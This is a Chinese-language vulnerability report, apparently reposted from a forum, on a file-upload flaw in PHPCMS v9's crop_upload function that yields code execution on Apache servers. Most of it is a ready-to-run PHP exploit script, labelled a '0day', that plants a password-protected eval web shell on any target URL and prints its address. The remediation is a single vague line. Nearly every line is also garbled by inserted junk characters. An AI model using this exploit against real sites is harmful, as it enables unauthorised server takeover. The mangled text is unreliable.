漏洞类型: 文件上传导致任意代码执行% [- Y, s( w$ i G; d
% X1 z" `8 _8 I
简要描述:
. x- y+ b' H8 Q5 O+ m* M
6 \* f7 Z8 E# e% Q0 V% d. y; Qphpcms v9 getshell (apache)6 U- a. e m( U* ~! K5 P
详细说明:- T' l1 Q+ h5 z. c; G* g2 O: ]
8 f! \) W' C; K) e {) Z# U
漏洞文件:phpcms\modules\attachment\attachments.php
% O$ V8 B1 B, }9 y$ G j% V& t m
4 A. S+ G$ A* O3 L hpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } # e! o0 p+ @/ x& M5 [4 C2 ^: E
后缀检测:phpcms\modules\attachment\functions\global.func.php+ c% F$ \2 E# T& C" M) _# Z$ M S# S) t
- K/ S$ T( W/ F# b
9 l' a8 X* S; q$ ]9 [. m, d5 r
7 s, K! Z' m9 p& @function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
) H( B7 o$ L! ~
: w4 I2 F" X) ~& ~, d# B关键函数:
5 P9 d* Q3 s6 C( P) C; ]/ b. i o& H0 E- j
/ C# {6 J6 H! x! X! Z7 Q% s4 f" f
7 C3 u4 t& J ~
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
+ L+ [6 M+ u: W, |& t! G3 G
T, a. r5 r6 W0 r Fileext函数是对文件后缀名的提取。
- `: P, K. h- r: G根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php6 c* W- ^$ p% `
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。/ P3 b. B+ \2 @% z
我们回到public function crop_upload() 函数中
' U+ E: v. Y2 g' Z' L* Sif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();! G+ y9 \/ n/ B1 d, ^4 g& t h% d: _
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
( Q+ f, Y. c0 Y7 X1 t* Z' H这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。. ?7 V1 R) {% l" V# ~
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
& z& G" T6 P/ f& N" _ T最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。# ]: c" i1 F8 q8 Z3 _2 }1 K
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
7 H G% v* Q: C漏洞证明:
3 y3 f+ k8 C8 T; B4 e9 o0 v9 A5 A
exp:) Z/ x' `, X8 f( }( p4 a5 k$ \
8 F% {7 C' A3 `; p- a<?php
+ l b2 Z$ Q7 }$ Verror_reporting(E_ERROR);) V% X5 P7 {2 Q* A. N
set_time_limit(0); t' C" x+ c3 k1 o% ?$ V4 r
$pass="ln";0 Z! K( d, u* E* W9 q) G
print_r('
( _: m% X9 a& J/ _6 _9 z+---------------------------------------------------------------------------+
) x" L X+ Q* k- Y) w: UPHPCms V9 GETSHELL 0DAY
9 M# I9 V! @3 _code by L.N.
; b$ {1 ~8 {6 ?" L; k% p! G' B+ R0 B1 a9 h
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
" K7 \, @8 L4 N# Q2 H+---------------------------------------------------------------------------+ U. f% [6 u, f" }
');- t( K3 j2 ~ c/ d7 E1 R Z6 d ]
if ($argc < 2) {
; b4 {; {$ Y d) P* h/ X0 K4 Y8 ~print_r(', Z& K4 V9 J0 Q \2 _
+---------------------------------------------------------------------------+
: \ f+ a% q C2 BUsage: php '.$argv[0].' url path
- z; V! v+ p3 G' e) H$ G+ L+ z
- B' ~: B! W% W3 O3 @4 @3 u* Y. BExample:
. t1 x! X- ?7 R$ O1.php '.$argv[0].' lanu.sinaapp.com9 ~( M- n1 U$ c% [# [& W
2.php '.$argv[0].' lanu.sinaapp.com /phpcms, N5 O# Z: z6 f
+---------------------------------------------------------------------------++ v9 y' G1 k% k Z" F" O% k7 S( x
');5 x; V# ^! N0 r1 Z3 _
exit;7 L" B1 A) s1 \1 X8 U7 x! |; @- i
}
: f: ^8 `+ q$ ~9 `( m$ s
" ?9 c2 V2 A+ M6 X- W: A4 X$url = $argv[1];
$ L/ C* z4 _& A$path = $argv[2];
6 L8 \- p; y% Z$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
4 z, S( y& i6 j2 N- c7 v$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 u" D( e0 n4 M/ I- M$ kif($ret=Create_dir($url,$path))
( b9 W5 q6 |( K) H ^( w{
0 i2 S" Y6 D! Q+ J//echo $ret;% t8 r7 C: v1 Z6 A
$pattern = "|Server:[^,]+?|U";* Q! @0 E; R: Y( o3 b4 |
preg_match_all($pattern, $ret, $matches);
! d6 b0 F, N5 ]( A# W9 D a. x zif($matches[0][0])
" a& E$ q$ r- _; X/ a{1 I8 h! r9 I- X( X
if(strpos($matches[0][0],'Apache') == false)
4 h+ y$ Z9 B# z% L{0 Y& o0 B1 Z( Y F& Z5 O( y
echo "\n亲!此网站不是apache的网站。\n";exit;
# ]8 ~ C9 ~. n E) r}
2 O U$ N* o3 W}) E1 I' y* x7 m' g
$ret = GetShell($url,$phpshell,$path,$file);
9 g, K9 c+ {2 E$ i2 B+ E$pattern = "|http:\/\/[^,]+?\.,?|U";0 Q" ^+ B. N8 K5 b
preg_match_all($pattern, $ret, $matches);
* }( p8 y, q- W' o- t* rif($matches[0][0])
$ X* L* |$ J6 X& q4 [{
- B0 ~4 N- `. Z* q; Zecho "\n".'密码为: '.$pass."\n";
2 V% b8 h1 A5 P6 \! qecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;; z$ y1 s7 W) ^1 p- w
}4 z" ? a. Y% u& R- ?
else
' F1 q) h# C& c U5 H{
: X: ^( C" {% y1 u# v$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
% l$ d2 Z6 T+ l8 D2 hpreg_match_all($pattern, $ret, $matches);" B# n" S1 e- l9 ~
if($matches[0][0])4 |0 x; F; `$ i$ z' ~7 C7 L* W
{' I# F: A, x4 [3 L. E+ e+ g: X
echo "\n".'密码为: '.$pass."\n";* s$ J6 J& A8 F5 E6 a5 w8 E
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;# n8 g8 ^5 P( k( S. I
}
/ Q# P& h8 J0 s8 X; Telse
# B1 e0 X+ W2 n{
7 Z8 }9 y/ \5 ?' a3 necho "\r\n没得到!\n";exit;0 L& u8 i9 q+ y( A
}
, j; _: |+ Y( y C/ j1 F2 ?7 F}, ?3 ~- t) h F2 R
}& v7 O# p2 d) `) N3 ^
4 n& V; x# ^" d8 S/ i: }
function GetShell($url,$shell,$path,$js)
( s+ A+ M7 Q$ w{; K, u% k; ]" A! G. _ z
$content =$shell;. {/ {, Z2 e% D$ K$ p* I' p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";* q) ?0 V9 e/ A$ W8 _3 d! T4 \6 r
$data .= "Host: ".$url."\r\n";
7 c: _6 ]& L# N: w( M$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 y1 Z9 X5 ]: `4 A$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! c) ?8 z8 q! O2 n+ C
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
6 E/ c9 ?- }9 m9 d& }+ t$data .= "Connection: close\r\n";
) X0 f! k) n: Y9 s$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
# d8 {! w/ `8 s" O- X1 B8 B; k$data .= $content."\r\n";# P) L: Y/ `/ d. k/ z1 _8 B- Z, l
$ock=fsockopen($url,80);
' d3 f, M5 ]5 Z* G7 m6 h* v Xif (!$ock)
7 b9 y$ v, d* a- o{" Q# U& c+ j Z; U3 q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;: _( e. f K- `* { q4 I/ F+ p
} O9 r. a8 v8 y" ^
else
, q7 i h. Q1 |{) X* o! ^: G" D( F9 S |' _
fwrite($ock,$data);
" {- L# r' ^3 d3 k, d, O& T$resp = '';4 W* `+ s% }4 m/ _% X" }) V: m# m/ I
while (!feof($ock))
; N$ H6 ]! T1 c' F0 ^6 R) P j{7 f7 f7 ]. d; n: M! [! u; x
$resp.=fread($ock, 1024);
" @9 `$ Z6 ~1 L$ L1 M4 W' K+ q- }}
3 \" a/ t, U5 q; ereturn $resp;
6 f' I6 @9 H5 d) D# E" r: F: {1 B}- M8 {2 ? y/ C* H) T! s% D7 E/ o9 D
}
, I8 S( q, n9 _# j3 N( T. z$ Z' ~" N8 @8 R: T' M: L7 z6 b
function Create_dir($url,$path='')" e0 k& V! |, C4 y: V; k1 v
{5 ]) Y Z0 `9 _( H; [3 {
$content ='I love you';
; y& ~3 z: |; ~$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 D" c& Q0 ~' D: H$data .= "Host: ".$url."\r\n";5 E- X' ?1 _- [9 w* \; ~3 D) h
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
) [- D/ V, P ~3 |$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" d T" E. p2 O+ f( q4 u
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; F- N" w" j, @5 Y$ M' l* f$data .= "Connection: close\r\n";
5 o1 N8 {/ Q" K$ g+ s1 U! P0 @+ m$data .= "Content-Length: ".strlen($content)."\r\n\r\n"; H* m4 a) z- n7 f I" I( y0 U8 w
$data .= $content."\r\n";
1 Y9 S6 V/ F0 X" {4 f$ock=fsockopen($url,80);! a1 l# ?" O3 S% p: h
if (!$ock)
7 ?1 l- T3 n* l& } b2 o4 Y{1 j: W- W) D$ b( I5 M8 J
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. M3 N2 K; {; o
}
3 }; |/ |4 x5 Rfwrite($ock,$data);* e$ _4 J& X: x5 E* J1 D
$resp = '';
3 a! @+ ]# r- Z# k* mwhile (!feof($ock))
! ^9 H6 _4 z1 }$ s{' n5 k# r/ I; I
$resp.=fread($ock, 1024);" l: V; e/ x, K; I- Y$ B/ Z( O" E
}
. Q5 Q, _; t- b* Preturn $resp;/ V/ [+ v( W3 u" j7 d+ w
}
4 u' }+ S8 y0 A" n?> 0 D& h( x5 q0 @1 F' V6 F5 n b
' j2 l+ C7 P& m, K9 L4 J修复方案:# G( v2 H& B( e, p& }5 J
2 r3 E, b7 Q- I% @7 M& X7 e
过滤过滤再过滤2 r3 ?+ C+ _( k* s' ?
8 V7 i/ ^0 B! _# v' D) P
|